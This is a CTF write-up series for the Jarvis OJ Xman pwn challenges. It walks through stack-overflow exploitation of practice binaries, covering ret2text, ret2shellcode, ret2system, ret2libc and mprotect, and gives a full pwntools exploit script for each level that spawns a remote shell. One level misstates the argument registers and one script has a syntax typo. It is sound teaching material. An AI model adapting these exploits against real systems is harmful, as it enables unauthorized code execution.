# Jarvis OJ Pwn Xman Series

{% embed url="<https://www.jarvisoj.com>" %}
Jarvis OJ
{% endembed %}

## Xman Level 0 (ret2text)

### file + checksec

file:

```
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
```

checksec:

```
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}
```

`callsystem()` is able to spawn a shell:

```c
int callsystem()
{
  return system("/bin/sh");
}
```

### Solution

The function `vulnerable_function()` is called and it is vulnerable to buffer overflow attack. The buffer buf is only `0x80` bytes long but we are able to write `0x200` bytes into it at `read(0, &buf, 0x200uLL);`. In the binary we can find a "backdoor" function named `callsystem()`. Here we should overflow the buffer, control the instruction pointer, and then use **ret2text** to redirect the control flow to `callsystem()`.

ret2text is possible when there exist dead code in the program. "Dead code" refers to a piece of code that never gets used by the program. This happens because developer may forget which function is neccessary and which function is useless during the developement process. Also, sometimes the developer would insert some kind of "backdoor" in the project for convenience, and this makes attack convenient in the meantime.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

elf = ELF("./level0")
context.arch="amd64

local = False
if local:
  r = elf.process()
else:
  host = "pwn2.jarvisoj.com"
  port = 9881
  r = remote(host, port)

#--------ret2text--------#

offset = 136
callsystem = elf.sym["callsystem"]

payload = flat(
  b"A" * offset,
  callsystem,
)

r.sendlineafter("Hello, World\n", payload)
r.interactive()
```

## Xman Level 1 (ret2shellcode)

### file + checksec

file:

```
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
```

checksec:

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}
```

### Solution

The absence of NX makes this binary vulnerable to **ret2shellcode**. Since we are allowed to write `0x100` bytes into `buf`, the pwntools' built-in shellcode suffices.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("level1", checksec=False)

local = False
if local:
  r = elf.process()
else:
  host = "pwn2.jarvisoj.com"
  port = 9877
  r = remote(host, port)

#--------ret2shellcode--------#

r.readuntil("What's this:").decode()
buf_addr = int(r.read(10), 16)
log.info(f"buf_addr: {hex(buf_addr)}")

offset = 140
shellcode = asm(shellcraft.sh())

payload = flat(
  shellcode.ljust(offset, b"\x90"),
  buf_addr, 
)

r.sendlineafter("?\n", payload)
r.interactive()
```

## Xman Level 2 32-bit (ret2system)

### file + checksec

file:

```
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
```

checksec:

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}
```

### Solution

Since NX is enabled, we can't do ret2shellcode this time because the shellcode stored on stack won't be executed. Instead, we use ret2system since it is one of the standard methods for bypassing NX. Note that both `system` and `/bin/sh` are provided in the binary:

```
$ ROPgadget --binary level2 --string "system"
Strings information
============================================================
0x0804824b : system
```

```
$ ROPgadget --binary level2 --string "/bin/sh"
Strings information
============================================================
0x0804a024 : /bin/sh
```

Hence we can call `system("/bin/sh")` directly. This is the easiest type of libc.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("level2", checksec=False)

local = False
if local:
  r = elf.process()
else:
  host = "pwn2.jarvisoj.com"
  port = 9878
  r = remote(host, port)

#--------ret2system--------#

offset = 140
system = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh\x00"))

payload = flat(
  b"A" * offset,
  system,
  b"B" * 4, # return address for system()
  bin_sh, # argument for system()
)

r.sendlineafter("Input:\n", payload)
r.interactive()
```

## Xman Level 2 64-bit (64-bit Calling Convention)

### file + checksec

file:

```
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
```

checksec:

```
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return system("echo 'Hello World!'");
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  system("echo Input:");
  return read(0, &buf, 0x200uLL);
}
```

### Solution

This time we are dealing with x64 architecture. The major distinction between x86 and x64 is different **calling conventions**. In x86, the function arguments are stored on the **stack**. In x64, the first 6 function arguments are stored in **registers**, in the following order:

1. **RDI** = arg1
2. **RSI** = arg2
3. **RDX** = arg3
4. **R10** = arg4 **(R10 for kernel space and RCX for user space. We are interested in kernel space here.)**
5. **R8** = arg5
6. **R9** = arg6

If there exists more arguments, the extra ones will be stored on the stack.

To pass `/bin/sh` as the argument for `system`, we need to store `/bin/sh` in `rdi`. This can be done with the `pop rdi` gadget:

```
$ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret
```

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("level2_x64", checksec=False)

local = False
if local:
  r = elf.process()
else:
  host = "pwn2.jarvisoj.com"
  port = 9882
  r = remote(host, port)

#--------ret2system--------#

offset = 136
# ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
bin_sh = next(elf.search(b"/bin/sh\x00"))
system = elf.plt["system"]

payload = flat(
  b"A" * offset,
  pop_rdi, bin_sh, # pop "/bin/sh" to rdi
  system, # call system("/bin/sh")
)

r.sendlineafter("Input:\n", payload)
r.interactive()
```

## Xman Level 3 32-bit (ret2libc)

### file + checksec

file:

```
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
```

checksec:

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

### Solution

No more `system` provided in binary this time, so we need to leak an address (`write_got` in this case) from the GOT table and then calculate the libc base address based on this leaked address. Once we have the libc base address, we are able to deduce the addresses of `system` and `/bin/sh` in libc.

The candidates of this leaking phase include `puts`, `write` or `printf`. They will be called `ret2puts`, `ret2write` and `ret2printf`, respectively. Usually we want to do `ret2puts`, but since there is no `puts@plt` or `printf@plt` in this binary, the only choice left for us is `ret2write`.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("level3", checksec=False)

local = False
if local:
    libc = elf.libc
    r = elf.process()
else:
    libc = ELF("libc-2.19.so")
    host = "pwn2.jarvisoj.com"
    port = 9879
    r = remote(host, port)

#--------ret2write--------#

offset = 140
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

payload = flat(
    b"A" * offset,
    write_plt, # call write(1, write_got, 4)
    vulnerable_function, # return address for write()
    1, write_got, 4, # arguments for write()
)
"""
Here 1 is fd (stdout), 4 is the # bytes to write
"""

r.sendlineafter("Input:\n", payload)
write_leak = u32(r.read(4))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset

log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------ret2libc-------#

system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))
"""
since libc.address was defined,
the above two address are adjusted automatically.
"""

payload = flat(
    b"A" * offset,
    system,
    b"B" * 4, # return address for system
    bin_sh, # argument for system
)

r.sendlineafter("Input:\n", payload)
r.interactive()
```

## Xman Level 3 64-bit (ret2libc)

### file + checksec

file:

```
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
```

checksec:

```
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}
```

### Solution

We need gadgets `pop rdi`, `pop rsi` and `pop rdx` this time. We can find `pop rdi ; ret` in the binary:

```
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret
```

However, we can't find an independent gadget like `pop rsi; ret`. The good news is `pop rsi ; pop r15 ; ret` could be used as an alternative:

```
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
0x00000000004006b1 : pop rsi ; pop r15 ; ret
```

Here we simply pass a junk value into `r15`, so this gadget would do the same job as `pop rsi ; ret`.

We still need `pop rdx ; ret`. However, this gadget is not present in the binary. It doesn't really matter because the value stored in `rdx` is greater than 6 at the moment `write` gets called. This is just what we want since the address of `write@GOT` won't be longer than 6 bytes. As a result, we don't have to set the value of `rdx` on ourselves, so just ignore it.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("level3_x64", checksec=False)

local = False
if local:
  libc = elf.libc
  r = elf.process()
else:
  libc = ELF("libc-2.19.so")
  host = "pwn2.jarvisoj.com"
  port = 9883
  r = remote(host, port)

#--------ret2write--------#

offset = 136
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

# ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
pop_rsi_r15 = 0x00000000004006b1

payload = flat(
  b"A" * offset,
  pop_rdi, 1,
  pop_rsi_r15, write_got, 1337, # 1337 is just some junk value that gets popped to r15
  write_plt, # call write(1, write_got, [rdx])
  vulnerable_function, # return address for write
)

r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(8))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset

log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------ret2libc-------#

system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))

payload = flat(
  b"A" * offset,
  pop_rdi, bin_sh,
  system, # call system("/bin/sh")
)

r.sendlineafter("Input:\n", payload)
r.interactive()
```

## Xman Level 4 (Libc Database)

### file + checksec

file:

```
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped
```

checksec:

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

### Program Analysis

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}
```

### Solution

The libc file is not given this time, but that's not a problem. We can always query the leaked address from [libc database](https://libc.rip) and figure out the libc version as well as the corresponding libc function offsets (relative to the libc base address).

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("level4", checksec=False)

local = False
if local:
    r = elf.process()
else:
    host = "pwn2.jarvisoj.com"
    port = 9880
    r = remote(host, port)

#--------ret2write--------#

offset = 140
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

payload = flat(
    b"A" * offset,
    write_plt,
    vulnerable_function, # return address for write()
    1, write_got, 4, # arguments for write()
)

r.sendline(payload)
write_leak = u32(r.read(4))
log.info(f"write_leak: {hex(write_leak)}") 

#--------Libc Database--------#

# libc database (https://libc.rip/)
# libc version: libc6_2.19-18+deb8u10_i386
write_offset = 0x0c8880
libc_base_address = write_leak - write_offset

system_offset = 0x03de80
bin_sh_offset = 0x12dc51

#--------ret2libc--------#

system = libc_base_address + system_offset
bin_sh = libc_base_address + bin_sh_offset

payload = flat(
    b"A" * offset,
    system,
    b"B" * 4, # return address for system()
    bin_sh, # argument for system()
)

r.sendline(payload)
r.interactive()
```

## Xman Level 5 (mprotect)

### file + checksec

file:

```
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
```

checksec:

```
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

### Pseudocode

Examine the main function:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}
```

`vulnerable_function()` has stack overflow vulnerability:

```c
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}
```

### Solution

In this challenge, `system` and `execve` are disabled (**at least we pretend that they are disabled**) and we are supposed to use `mmap` or `mprotect`. Using `mprotect` is the easier route. The exploit splits into **three phases**:

1. Leak the address of `write_got`, calculate libc base address and then deduce the address of `mprotect`.
2. Call `mprotect` to give the `.bss` segment `rwx` permission.
3. Call `read` to start a stdin session and input our shellcode to the `.bss` segment. Set the return address of `read` to be the address of `.bss` segment so the shellcode gets triggered.

**Phase 1** is essentially the same as Level 3 (x64).

**Phase 2** is something new. Here we want to call `mprotect(void *addr, size_t len, int prot)`, where:

* `addr` is the address of the buffer.
* `len` is the length of the buffer. Say it is `0x1000`, which is more than enough.
* `prot` is the permission that we want that buffer to have, which is `7 = 0b111 = rwx` in this case.

**Phase 3** is a slightly advanced version of ret2shellcode. Here we use **multi-stage shellcode**. In stage 1, we call the `read()` function to open a STDIN session. In stage 2, we input the `/bin/sh` shellcode from STDIN, and get shell.

In stage 1, we use **ROP** to call `read(int fd, void *buf, size_t nbyte)`, where:

* `fd` should be 0 since we want stdin.
* `buf` is the address of the buffer. We will use `elf.bss()` here, which is the beginning of the `.bss` segment.
* `nbyte` is the length of our input. Let's say it's `0x100`, which is more than enough.

In stage 2, we can input our shellcode from STDIN. If the return address of `read` is set to be `elf.bss()`, the shellcode will be triggered and we would get shell.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("level5", checksec=False)

local = False
if local:
    libc = elf.libc
    r = elf.process()
else:
    libc = ELF("libc-2.19.so")
    host = "pwn2.jarvisoj.com"
    port = 9884
    r = remote(host, port)

#--------Phase 1: ret2write--------#

offset = 136
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

# ROPgadget --binary level5 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level5 --only "pop|ret" | grep rsi
pop_rsi_pop_r15 = 0x00000000004006b1

payload = flat(
    b"A" * offset,
    pop_rdi, 1,
    pop_rsi_pop_r15, write_got, 1337,
    write_plt, # call write(1, write_got, [rdx])
    vulnerable_function, # return address for write()
)

r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(6).ljust(8, b"\x00"))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset

log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------Phase 2: mprotect--------#

"""
$ man 2 mprotect:
mprotect(void *addr, size_t len, int prot)
mprotect() changes the access protections for the calling process's memory 
pages containing any part of the address range in the interval 
[addr, addr+len-1]. addr must be aligned to a page boundary.
"""

mprotect = libc.sym["mprotect"]

"""
The address of mproject is auto-adjusted since libc.address was set.
Also, since we know the libc base address,
we can use gadgets from libc from now on.
"""

# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi
pop_rsi = libc.address + 0x0000000000024885
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx
pop_rdx = libc.address + 0x0000000000000286

log.info(f"elf.bss(): {hex(elf.bss())}")

"""
We have elf.bss() = 0x600a88.
Note that the first argument of mprotect must be an integer multiple of page size.
We can learn the page size using the command "getconf":

$ getconf PAGE_SIZE
4096

Hence addr = k * 0x1000, so we pick addr = 0x600000.
"""

payload = flat(
    b"A" * offset,
    pop_rdi, 0x600000, # arg1: addr
    pop_rsi, 0x1000, # arg2: len
    pop_rdx, 7, # arg3: prot (7 = 0b111 = rwx)
    mprotect, # call mprotect(0x600000, 0x1000, 7)
    vulnerable_function, # return address for mprotect()
)

r.sendlineafter("Input:\n", payload)

#--------Phase 3: ret2shellcode-------#

read = elf.plt["read"]
shellcode = asm(shellcraft.sh())

payload = flat(
    b"A" * offset,
    pop_rdi, 0, # arg1: fd (0 = stdin)
    pop_rsi, elf.bss(), # arg2: buf
    pop_rdx, 0x100, # arg3: nbyte
    read, # call read(0, elf.bss(), 0x100)
    elf.bss(), # return address for read()
)

r.sendlineafter("Input:\n", payload)
r.sendline(shellcode) # the stdin session initiated by the read() function
r.interactive()
```

### Xman Level 6

Todo!